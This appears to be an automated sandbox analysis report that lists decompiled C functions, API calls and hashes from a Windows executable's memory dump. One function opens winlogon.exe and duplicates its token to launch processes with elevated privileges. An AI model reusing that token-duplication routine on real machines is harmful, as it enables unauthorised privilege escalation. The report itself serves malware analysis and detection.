Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings
API String ID: 3166385802-3030018805
Opcode ID: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction ID: 6100db9a332bdf9cdae47e625800c2dd81fdb4e1827941160d8c77da4bb91491
Opcode Fuzzy Hash: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction Fuzzy Hash: F0417A74188A149FEB149B54ECE5DB73376F785708720813AE802A72A1DB39AC46CF6C

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401E44(int _a4, int _a8, intOrPtr* _a12) {
				char _v8;
				void* _v12;
				void* __esi;
				void* _t18;
				intOrPtr* _t22;
				void* _t23;
				void* _t28;
				int _t37;
				intOrPtr* _t39;
				intOrPtr* _t40;

				_v8 = 0;
				_t18 = OpenProcess(0x2000000, 0, _a8);
				_v12 = _t18;
				if(_t18 == 0) {
					_t37 = GetLastError();
				} else {
					_t39 = _a4 + 0x800;
					_a8 = 0;
					E0040289F(_t39);
					_t22 =  *((intOrPtr*)(_t39 + 4));
					if(_t22 == 0) {
						_t23 = 0;
					} else {
						_t23 =  *_t22(_v12, 2,  &_a8);
					}
					if(_t23 == 0) {
						_t37 = GetLastError();
					} else {
						_a4 = _a8;
						E0040289F(_t39);
						_t40 =  *((intOrPtr*)(_t39 + 8));
						if(_t40 == 0) {
							_t28 = 0;
						} else {
							_t28 =  *_t40(_a4, 0x2000000, 0, 2, 1,  &_v8);
						}
						if(_t28 == 0) {
							_t37 = GetLastError();
						} else {
							 *_a12 = _v8;
							_t37 = 0;
						}
						CloseHandle(_a8);
					}
					CloseHandle(_v12);
				}
				return _t37;
			}

0x00401e59
0x00401e5c
0x00401e64
0x00401e67
0x00401ef9
0x00401e6d
0x00401e70
0x00401e76
0x00401e79
0x00401e7e
0x00401e83
0x00401e92
0x00401e85
0x00401e8e
0x00401e8e
0x00401e96
0x00401ee6
0x00401e98
0x00401e9b
0x00401e9e
0x00401ea3
0x00401ea8
0x00401ebb
0x00401eaa
0x00401eb7
0x00401eb7
0x00401ebf
0x00401ed3
0x00401ec1
0x00401ec7
0x00401ec9
0x00401ec9
0x00401ed8
0x00401ed8
0x00401eeb
0x00401eeb
0x00401f01

APIs

OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EF3

Part of subcall function 0040289F: LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401ECD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EE0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

Strings

winlogon.exe, xrefs: 00401E4B

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$CloseHandle$LibraryLoadOpenProcess
String ID: winlogon.exe
API String ID: 1315556178-961692650
Opcode ID: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction ID: 37dd24dd8946aa7f8aa4240fd04c0d288f38f50501b3184a6b0aa07a3247aa85
Opcode Fuzzy Hash: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction Fuzzy Hash: FB212932900114EFDB10AFA5CDC8AAE7BB5EB04350F14893AFE06F72A0D7749D41DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00405236, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00405236(short* __ebx, intOrPtr _a4) {
				int _v8;
				char _v12;
				void _v2058;
				void _v2060;
				int _t35;
				int _t41;
				signed int _t48;
				signed int _t49;
				signed short* _t50;
				void** _t52;
				void* _t53;
				void* _t54;

				_t48 = 0;
				_v2060 = 0;
				memset( &_v2058, 0, 0x7fe);
				_t54 = _t53 + 0xc;
				 *__ebx = 0;
				_t52 = _a4 + 4;
				_v12 = 2;
				do {
					_push( *_t52);
					_t6 = _t52 - 4; // 0xe80040cb
					_push( *_t6);
					_push(L"%s (%s)");
					_push(0x400);
					_push( &_v2060);
					L0040B1EC();
					_t35 = wcslen( &_v2060);
					_v8 = _t35;
					memcpy(__ebx + _t48 * 2,  &_v2060, _t35 + _t35 + 2);
					_t49 = _t48 + _v8 + 1;
					_t41 = wcslen( *_t52);
					_v8 = _t41;
					memcpy(__ebx + _t49 * 2,  *_t52, _t41 + _t41 + 2);
					_t54 = _t54 + 0x34;
					_t52 =  &(_t52[2]);
					_t23 =  &_v12;
					 *_t23 = _v12 - 1;
					_t48 = _t49 + _v8 + 1;
				} while ( *_t23 != 0);
				_t50 = __ebx + _t48 * 2;
				 *_t50 =  *_t50 & 0x00000000;
				_t50[1] = _t50[1] & 0x00000000;
				return __ebx;
			}

0x00405241
0x00405250
0x00405257
0x0040525f
0x00405262
0x00405265
0x00405268
0x0040526f
0x0040526f
0x00405277
0x00405277
0x0040527a
0x0040527f
0x00405284
0x00405285
0x00405291
0x00405296
0x004052a9
0x004052b3
0x004052b7
0x004052bc
0x004052ca
0x004052d2
0x004052d5
0x004052d8
0x004052d8
0x004052db
0x004052db
0x004052e1
0x004052e4
0x004052e8
0x004052f2

APIs

memset.MSVCRT ref: 00405257
_snwprintf.MSVCRT ref: 00405285
wcslen.MSVCRT ref: 00405291
memcpy.MSVCRT ref: 004052A9
wcslen.MSVCRT ref: 004052B7
memcpy.MSVCRT ref: 004052CA

Strings

%s (%s), xrefs: 0040527A

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)
API String ID: 3979103747-1363028141
Opcode ID: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction ID: 65e1e814fa0bf8ea8ab085bd6ee3311c73c19872bc06834ae6b579d31858dd7b
Opcode Fuzzy Hash: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction Fuzzy Hash: C411517280020DEBCF21DF94CC49D8BB7B8FF44308F1144BAE944A7152EB74A6588BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040614F, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040614F(void* __ecx, void* __eflags, struct HWND__* _a4) {
				void _v514;
				short _v516;
				void _v8710;
				short _v8712;
				int _t17;
				WCHAR* _t26;

				E0040B550(0x2204, __ecx);
				_v8712 = 0;
				memset( &_v8710, 0, 0x2000);
				_t17 = GetDlgCtrlID(_a4);
				_t34 = _t17;
				GetWindowTextW(_a4,  &_v8712, 0x1000);
				if(_t17 > 0 && _v8712 != 0) {
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					GetClassNameW(_a4,  &_v516, 0xff);
					_t26 =  &_v516;
					_push(L"sysdatetimepick32");
					_push(_t26);
					L0040B278();
					if(_t26 != 0) {
						E00406025(_t34,  &_v8712);
					}
				}
				return 1;
			}

0x00406157
0x0040616d
0x00406174
0x0040617f
0x00406185
0x00406196
0x0040619e
0x004061b6
0x004061bd
0x004061d4
0x004061da
0x004061e0
0x004061e5
0x004061e6
0x004061ef
0x004061f9
0x004061ff
0x004061ef
0x00406206

APIs

memset.MSVCRT ref: 00406174
GetDlgCtrlID.USER32(?), ref: 0040617F
GetWindowTextW.USER32 ref: 00406196
memset.MSVCRT ref: 004061BD
GetClassNameW.USER32 ref: 004061D4
_wcsicmp.MSVCRT ref: 004061E6

Part of subcall function 00406025: memset.MSVCRT ref: 00406038
Part of subcall function 00406025: _itow.MSVCRT ref: 00406046

Strings

sysdatetimepick32, xrefs: 004061E0

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction ID: a6c41b950ec0abdba219e0cd23eeccead18917629e413d377b87badc6c60029b
Opcode Fuzzy Hash: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction Fuzzy Hash: 65117732840119BAEB20EB95DC89EDF777CEF04754F0040BAF518F1192E7345A81CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404706, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52
librarywindowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00404706(long __edi, wchar_t* _a4) {
				short _v8;
				void* _t8;
				void* _t10;
				long _t14;
				long _t24;

				_t24 = __edi;
				_t8 = 0;
				_t14 = 0x1100;
				if(__edi - 0x834 <= 0x383) {
					_t8 = LoadLibraryExW(L"netmsg.dll", 0, 2);
					if(0 != 0) {
						_t14 = 0x1900;
					}
				}
				if(FormatMessageW(_t14, _t8, _t24, 0x400,  &_v8, 0, 0) <= 0) {
					_t10 = wcscpy(_a4, 0x40c4e8);
				} else {
					if(wcslen(_v8) < 0x400) {
						wcscpy(_a4, _v8);
					}
					_t10 = LocalFree(_v8);
				}
				return _t10;
			}

0x00404706
0x00404714
0x0040471c
0x00404721
0x0040472b
0x00404733
0x00404735
0x00404735
0x00404733
0x00404751
0x00404780
0x00404753
0x0040475e
0x00404766
0x0040476c
0x00404770
0x00404770
0x0040478a

APIs

LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,004047FA,?,?,?,004035EB,?,?), ref: 0040472B
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB), ref: 00404749
wcslen.MSVCRT ref: 00404756
wcscpy.MSVCRT ref: 00404766
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB,?), ref: 00404770
wcscpy.MSVCRT ref: 00404780

Strings

netmsg.dll, xrefs: 00404726

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: netmsg.dll
API String ID: 2767993716-3706735626
Opcode ID: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction ID: 89adc518ee94488043421af4a237527fbec77c55aa854962abbb3bd0e0f931e1
Opcode Fuzzy Hash: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction Fuzzy Hash: 4F01D471200114FAEB152B61DD8AE9F7A6CEB46796B20417AFA02B60D1DB755E0086AC

Uniqueness

Uniqueness Score: -1.00%

Function 0040598B, Relevance: 12.1, APIs: 8, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040598B(void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				char _v72;
				void _v582;
				long _v584;
				void* __edi;
				intOrPtr _t27;
				wchar_t* _t34;
				wchar_t* _t42;
				long* _t43;
				int _t44;
				void* _t52;
				void* _t54;
				long _t56;
				long* _t57;
				void* _t60;

				_t60 = __eflags;
				_t52 = __edx;
				E004095AB( &_v72);
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				E004095FD(_t52, _t60,  &_v72);
				_t27 = 0;
				_v12 = 0;
				if(_v20 <= 0) {
					L10:
					_t56 = 0;
				} else {
					do {
						_t57 = E00405A92(_t27,  &_v32);
						if(E00409A94( *_t57,  &_v584) == 0) {
							goto L9;
						} else {
							_t34 =  &_v584;
							_push(_t34);
							_push(_a4);
							L0040B278();
							if(_t34 == 0) {
								L5:
								_t44 = 0;
								_t54 = OpenProcess(0x2000000, 0,  *_t57);
								if(_t54 == 0) {
									goto L9;
								} else {
									_v16 = _v16 & 0;
									if(OpenProcessToken(_t54, 2,  &_v16) != 0) {
										_t44 = 1;
										CloseHandle(_v16);
									}
									CloseHandle(_t54);
									if(_t44 != 0) {
										_t56 =  *_t57;
									} else {
										goto L9;
									}
								}
							} else {
								_t42 = wcschr( &_v584, 0x5c);
								if(_t42 == 0) {
									goto L9;
								} else {
									_t43 =  &(_t42[0]);
									_push(_t43);
									_push(_a4);
									L0040B278();
									if(_t43 != 0) {
										goto L9;
									} else {
										goto L5;
									}
								}
							}
						}
						goto L12;
						L9:
						_t27 = _v12 + 1;
						_v12 = _t27;
					} while (_t27 < _v20);
					goto L10;
				}
				L12:
				E004095DA( &_v72);
				return _t56;
			}

0x0040598b
0x0040598b
0x0040599a
0x004059ae
0x004059b5
0x004059c1
0x004059c6
0x004059cb
0x004059ce
0x00405a7b
0x00405a7b
0x004059d4
0x004059d4
0x004059dc
0x004059ee
0x00000000
0x004059f0
0x004059f0
0x004059f6
0x004059f7
0x004059fa
0x00405a03
0x00405a2b
0x00405a2e
0x00405a3c
0x00405a40
0x00000000
0x00405a42
0x00405a42
0x00405a54
0x00405a59
0x00405a5a
0x00405a5a
0x00405a61
0x00405a69
0x00405a7f
0x00000000
0x00000000
0x00000000
0x00405a69
0x00405a05
0x00405a0e
0x00405a17
0x00000000
0x00405a19
0x00405a19
0x00405a1c
0x00405a1d
0x00405a20
0x00405a29
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a29
0x00405a17
0x00405a03
0x00000000
0x00405a6b
0x00405a6e
0x00405a72
0x00405a72
0x00000000
0x004059d4
0x00405a81
0x00405a84
0x00405a8f

APIs

memset.MSVCRT ref: 004059B5

Part of subcall function 004095FD: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
Part of subcall function 004095FD: memset.MSVCRT ref: 0040962E
Part of subcall function 004095FD: Process32FirstW.KERNEL32(?,?), ref: 0040964A
Part of subcall function 004095FD: Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
Part of subcall function 004095FD: CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Part of subcall function 00409A94: memset.MSVCRT ref: 00409AB7
Part of subcall function 00409A94: memset.MSVCRT ref: 00409ACF
Part of subcall function 00409A94: OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
Part of subcall function 00409A94: memset.MSVCRT ref: 00409B25
Part of subcall function 00409A94: GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
Part of subcall function 00409A94: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
Part of subcall function 00409A94: FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

_wcsicmp.MSVCRT ref: 004059FA
wcschr.MSVCRT ref: 00405A0E
_wcsicmp.MSVCRT ref: 00405A20
OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
CloseHandle.KERNEL32(?), ref: 00405A5A
CloseHandle.KERNEL32(00000000), ref: 00405A61

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$CloseHandle$OpenProcess$Process32_wcsicmp$AddressCreateFirstFreeLibraryNextProcSnapshotTokenToolhelp32wcschr
String ID:
API String ID: 768606695-0
Opcode ID: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction ID: 2def5e4e0f7fb713a9aee1133a075480eaa7d54608268b88a97ef3230c71c50c
Opcode Fuzzy Hash: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction Fuzzy Hash: 18318472A00619ABDB10EBA1DD89AAF77B8EF04345F10457BE905F2191EB349E018F98

Uniqueness

Uniqueness Score: -1.00%

Function 00407639, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407639(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v68;
				char _v108;
				void _v160;
				void* __esi;
				signed int _t55;
				void* _t57;
				wchar_t* _t67;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t86;
				signed int _t95;
				intOrPtr* _t98;
				void* _t100;
				void* _t102;

				_t73 = __ebx;
				_t74 = 0xd;
				_push(9);
				memcpy( &_v160, L"<td bgcolor=#%s nowrap>%s", _t74 << 2);
				memcpy( &_v68, L"<td bgcolor=#%s>%s", 0 << 2);
				_t102 = _t100 + 0x18;
				asm("movsw");
				E00407343(__ebx, _a4, L"<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t55 =  *( *((intOrPtr*)(_t73 + 0x30)) + _t95 * 4);
						_v8 = _t55;
						_t57 =  &_v160;
						if( *((intOrPtr*)(_t55 * 0x14 +  *((intOrPtr*)(_t73 + 0x40)) + 8)) == 0) {
							_t57 =  &_v68;
						}
						_t98 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t57;
						 *((intOrPtr*)( *_t73 + 0x34))(5, _t95, _t98,  &_v28);
						E0040ADC0(_v28,  &_v108);
						E0040ADF1( *((intOrPtr*)( *_t98))(_v8,  *((intOrPtr*)(_t73 + 0x60))),  *(_t73 + 0x64));
						 *((intOrPtr*)( *_t73 + 0x50))( *(_t73 + 0x64), _t98, _v8);
						_t67 =  *(_t73 + 0x64);
						_t86 =  *_t67 & 0x0000ffff;
						if(_t86 == 0 || _t86 == 0x20) {
							wcscat(_t67, L"&nbsp;");
						}
						E0040AE90( &_v28,  *((intOrPtr*)(_t73 + 0x68)),  *(_t73 + 0x64));
						_push( *((intOrPtr*)(_t73 + 0x68)));
						_push( &_v108);
						_push(_v12);
						_push(0x2000);
						_push( *((intOrPtr*)(_t73 + 0x60)));
						L0040B1EC();
						_t102 = _t102 + 0x1c;
						E00407343(_t73, _a4,  *((intOrPtr*)(_t73 + 0x60)));
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t73 + 0x2c)));
				}
				return E00407343(_t73, _a4, L"\r\n");
			}

0x00407639
0x00407646
0x00407647
0x00407654
0x0040765f
0x0040765f
0x0040766b
0x0040766d
0x00407672
0x00407677
0x0040767d
0x00407680
0x00407686
0x00407691
0x00407697
0x00407699
0x00407699
0x0040769c
0x0040769f
0x004076a3
0x004076a7
0x004076ab
0x004076b5
0x004076be
0x004076c8
0x004076de
0x004076ee
0x004076f1
0x004076f4
0x004076fa
0x00407708
0x0040770e
0x00407718
0x0040771d
0x00407723
0x00407724
0x00407727
0x0040772c
0x0040772f
0x00407734
0x0040773f
0x00407744
0x00407745
0x0040767d
0x00407760

APIs

wcscat.MSVCRT ref: 00407708
_snwprintf.MSVCRT ref: 0040772F

Strings

<tr>, xrefs: 00407661
<td bgcolor=#%s nowrap>%s, xrefs: 00407649
 , xrefs: 00407702
<td bgcolor=#%s>%s, xrefs: 00407657

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscat
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 384018552-4153097237
Opcode ID: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction ID: d8c40f1c932df66c49e6576a1425660ae0ae50b86724cae367092fb81a03718d
Opcode Fuzzy Hash: 95fb47b0eb5c6bd29b2c4fa7ee5083eabdad1f03c3a152d85f26f239cd8b3326
Instruction Fuzzy Hash: 75318C31A00209EFDF14AF55CC86AAA7B76FF04320F1001AAF905BB2D2D735AA51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040605E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040605E(void* __ecx, void* __eflags, intOrPtr _a4, struct HMENU__* _a8, intOrPtr _a12, int _a16, intOrPtr _a20, wchar_t* _a36, intOrPtr _a40, long _a48, void _a50) {
				struct tagMENUITEMINFOW _v0;
				int _t24;
				wchar_t* _t30;
				intOrPtr _t32;
				int _t34;
				int _t42;
				signed int _t47;
				signed int _t48;

				_t36 = __ecx;
				_t48 = _t47 & 0xfffffff8;
				E0040B550(0x203c, __ecx);
				_t24 = GetMenuItemCount(_a8);
				_t34 = _t24;
				_t42 = 0;
				if(_t34 <= 0) {
					L13:
					return _t24;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a50, 0, 0x2000);
					_t48 = _t48 + 0xc;
					_a36 =  &_a48;
					_v0.cbSize = 0x30;
					_a4 = 0x36;
					_a40 = 0x1000;
					_a16 = 0;
					_a48 = 0;
					_t24 = GetMenuItemInfoW(_a8, _t42, 1,  &_v0);
					if(_t24 == 0) {
						goto L12;
					}
					if(_a48 == 0) {
						L10:
						_t56 = _a20;
						if(_a20 != 0) {
							_push(0);
							_push(_a20);
							_push(_a4);
							_t24 = E0040605E(_t36, _t56);
							_t48 = _t48 + 0xc;
						}
						goto L12;
					}
					_t30 = wcschr( &_a48, 9);
					if(_t30 != 0) {
						 *_t30 = 0;
					}
					_t31 = _a16;
					if(_a20 != 0) {
						if(_a12 == 0) {
							 *0x40fe20 =  *0x40fe20 + 1;
							_t32 =  *0x40fe20; // 0x0
							_t31 = _t32 + 0x11558;
							__eflags = _t32 + 0x11558;
						} else {
							_t17 = _t42 + 0x11171; // 0x11171
							_t31 = _t17;
						}
					}
					_t24 = E00406025(_t31,  &_a48);
					_pop(_t36);
					goto L10;
					L12:
					_t42 = _t42 + 1;
				} while (_t42 < _t34);
				goto L13;
			}

0x0040605e
0x00406061
0x00406069
0x00406074
0x0040607a
0x0040607e
0x00406082
0x00406148
0x0040614e
0x00000000
0x00000000
0x00000000
0x00406088
0x00406088
0x00406093
0x00406098
0x0040609f
0x004060ae
0x004060b6
0x004060be
0x004060c6
0x004060ca
0x004060cf
0x004060d7
0x00000000
0x00000000
0x004060de
0x00406129
0x00406129
0x0040612d
0x0040612f
0x00406130
0x00406134
0x00406137
0x0040613c
0x0040613c
0x00000000
0x0040612d
0x004060e7
0x004060f0
0x004060f2
0x004060f2
0x004060f9
0x004060fd
0x00406102
0x0040610c
0x00406112
0x00406117
0x00406117
0x00406104
0x00406104
0x00406104
0x00406104
0x00406102
0x00406122
0x00406128
0x00000000
0x0040613f
0x0040613f
0x00406140
0x00000000

APIs

GetMenuItemCount.USER32(?), ref: 00406074
memset.MSVCRT ref: 00406093
GetMenuItemInfoW.USER32 ref: 004060CF
wcschr.MSVCRT ref: 004060E7

Strings

0, xrefs: 004060AE
6, xrefs: 004060B6

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction ID: 45aed224341beddc1f9b42311d86e3f1d1daa84a2c492251b1da63e2972132ba
Opcode Fuzzy Hash: c92d9e803ec22cf5b140ab292b4c2ab892016db16de87d00b51606d693616624
Instruction Fuzzy Hash: 7521F132504304ABC720DF45D84599FB7E8FB85754F000A3FF685A62D1E776C950CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BEE, Relevance: 10.6, APIs: 7, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402BEE(void* __ebx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				void* _t27;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				int _t41;
				int _t50;

				_t34 = __ebx;
				if( *((intOrPtr*)(__ebx + 0x10)) == 0 ||  *((intOrPtr*)(__ebx + 0x14)) == 0) {
					return _t27;
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v8 = GetSystemMetrics(0x4e);
					_v12 = GetSystemMetrics(0x4f);
					_t41 = GetSystemMetrics(0x4c);
					_t31 = GetSystemMetrics(0x4d);
					if(_v8 == 0 || _v12 == 0) {
						_v8 = GetSystemMetrics(0);
						_v12 = GetSystemMetrics(1);
						_t41 = 0;
						_t31 = 0;
					} else {
						_v8 = _v8 + _t41;
						_v12 = _v12 + _t31;
					}
					_t50 = _v20 - _v28;
					if(_t50 > 0x14) {
						_t38 = _v24;
						_t37 = _v16 - _t38;
						if(_t37 > 0x14 && _v20 > _t41 + 5) {
							_t31 = _t31 + 0xfffffff6;
							if(_t38 >= _t31) {
								_t31 = _v28;
								if(_t31 + 0x14 < _v8 && _t38 + 0x14 < _v12 &&  *((intOrPtr*)(_t34 + 0x1c)) != 0) {
									_t31 = SetWindowPos( *(_t34 + 0x10), 0, _t31, _t38, _t50, _t37, 0x204);
								}
							}
						}
					}
					return _t31;
				}
			}

0x00402bee
0x00402bf8
0x00402cae
0x00402c08
0x00402c10
0x00402c11
0x00402c12
0x00402c13
0x00402c20
0x00402c27
0x00402c2e
0x00402c30
0x00402c37
0x00402c4b
0x00402c50
0x00402c53
0x00402c55
0x00402c3e
0x00402c3e
0x00402c41
0x00402c41
0x00402c5a
0x00402c60
0x00402c65
0x00402c68
0x00402c6d
0x00402c77
0x00402c7c
0x00402c7e
0x00402c87
0x00402ca5
0x00402ca5
0x00402c87
0x00402c7c
0x00402c6d
0x00000000
0x00402cac

APIs

GetSystemMetrics.USER32 ref: 00402C1C
GetSystemMetrics.USER32 ref: 00402C23
GetSystemMetrics.USER32 ref: 00402C2A
GetSystemMetrics.USER32 ref: 00402C30
GetSystemMetrics.USER32 ref: 00402C47
